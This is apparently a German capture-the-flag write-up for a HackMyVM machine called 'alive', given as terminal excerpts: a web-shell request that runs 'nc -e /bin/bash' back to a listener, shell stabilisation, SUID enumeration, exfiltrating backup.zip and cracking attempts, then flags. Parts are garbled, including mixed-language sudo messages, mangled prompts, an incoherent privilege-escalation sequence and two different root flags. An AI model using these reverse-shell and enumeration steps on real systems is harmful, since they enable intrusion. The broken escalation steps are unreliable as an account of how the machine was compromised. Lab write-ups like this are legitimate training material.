alexandra@alive.hmv's password:
Aufbau einer Reverse Shell über nc.
┌──(root㉿cyber)-[~]
└─# nc -lvnp 9001
listening on [any] 9001 ...
192.168.2.128/tmp/index.phtml?cmd=nc -e /bin/bash 192.168.2.129 9001
Reverse Shell Stabilisierung
Erhöhung der Benutzerrechte auf dem System.
Suche nach SUID Binaries
Auflisten von Dateien mit SUID-Bit.
www-data@alive:/var/www/code$
sudo -l
Wir vertrauen darauf, dass Sie die übliche Vorlesung vom örtlichen System erhalten haben
Administrator. Es läuft normalerweise auf diese drei Dinge hinaus:
#1) Respect the privacy of others.
#2) Think before you type.
#3) With great power comes great responsibility.
[sudo] password for www-data: sudo: a password is required
┌──(root㉿cyber)-[~]
└─# stty raw -echo;fg
[1] + continued nc -lvnp 9001
w-data@alive:/var/www/code$
find / -type f -perm -4000 -ls 2>/dev/null
416155 472 -rwsr-xr-x 1 root root 481608 Jul 2 2022 /usr/lib/openssh/ssh-keysign
407593 52 -rwsr-xr-- 1 root messagebus 51336 Oct 5 2022 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
391772 88 -rwsr-xr-x 1 root root 88304 Feb 7 2020 /usr/bin/gpasswd
391773 64 -rwsr-xr-x 1 root root 63960 Feb 7 2020 /usr/bin/passwd
395793 56 -rwsr-xr-x 1 root root 55528 Jan 20 2022 /usr/bin/mount
391770 52 -rwsr-xr-x 1 root root 52880 Feb 7 2020 /usr/bin/chsh
391769 60 -rwsr-xr-x 1 root root 58416 Feb 7 2020 /usr/bin/chfn
395267 44 -rwsr-xr-x 1 root root 44632 Feb 7 2020 /usr/bin/newgrp
395426 72 -rwsr-xr-x 1 root root 71912 Jan 20 2022 /usr/bin/su
395795 36 -rwsr-xr-x 1 root root 35040 Jan 20 2022 /usr/bin/umount
424093 180 -rwsr-xr-x 1 root root 182600 Feb 27 2021 /usr/bin/sudo
Zugriff auf user.txt
Versuch, die user.txt Datei zu lesen.
www-data@alive:/opt$
ls -la
total 16
drwxr-xr-x. 2 root root 4096 Jan 28 11:32 .
drwxr-xr-x. 18 root root 4096 Jan 17 07:01 ..
-rw-r--r-- 1 www-data www-data 252 Jan 14 10:04 backup.zip
-r--r--r--. 1 www-data www-data 149 Jan 14 10:04 index.html
Download von backup.zip
Herunterladen der backup.zip Datei.
www-data@alive:/opt$ python3 -m http.server 8001
Serving HTTP on 0.0.0.0 port 8001 (
http://0.0.0.0:8001/) ...
192.168.2.129 - - [16/Apr/2023 23:08:02] "GET /backup.zip HTTP/1.1" 200 -
┌──(root㉿cyber)-[~]
└─# wget http://192.168.2.128:8001/backup.zip
-2023-04-16 23:08:00--
http://192.168.2.128:8001/backup.zip
Verbindungsaufbau zu 192.168.2.128:8001 … verbunden.
HTTP-Anforderung gesendet, auf Antwort wird gewartet … 200 OK
Länge: 252 [application/zip]
Wird in »backup.zip« gespeichert.
backup.zip 100%[=============================>] 252 --.-KB/s in 0,02s
2023-04-16 23:08:00 (15,7 KB/s) - »backup.zip« gespeichert [252/252]
Analyse von backup.zip
Analyse und Entpacken von backup.zip
┌──(root㉿cyber)-[~]
└─# ll
total 298512
-rw-r--r-- 1 root root 252 14. Jan 10:04 backup.zip
┌──(root㉿cyber)-[~]
└─# zip2john backup.zip > hash
ver 2.0 backup.zip/digitcode.bak is not encrypted,
or stored with non-handled compression type
┌──(root㉿cyber)-[~]
└─# unzip backup.zip
Archive: backup.zip
inflating: digitcode.bak
┌──(root㉿cyber)-[~]
└─# file digitcode.bak
digitcode.bak: ASCII text
┌──(root㉿cyber)-[~]
└─# cat digitcode.bak
host: alive.hmv
location: /var/www/code
param: digit
code: 494147203525673
Privilege Escalation
Erhöhung der Benutzerrechte auf dem System.
MySQL Shell
Erhöhung der Berechtigung mit MySQL.
www-data@alive:/tmp/$ sudo -l
We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:
#1) Respect the privacy of others.
#2) Think before you type.
#3) With great power comes great responsibility.
The Password for the "administrator" is required : heLL0alI4ns
Die Passworteingabe erfolgt erst nachdem wir uns als www-data zu root gemacht haben
Ww-data@alive:/tmp/
$ su admin
cat root.txt
0b29729cf5d1a3dbd9e70c0df6cf4a49
<
Flags
Flags
cat root.txt
819be2c3422a6121dac7e8b1da21ce32
cat user.txt
1637c0ee2d19e925bd6394c847a62ed5
Penetrationstest Bericht
© 2023 Penetrationstest Bericht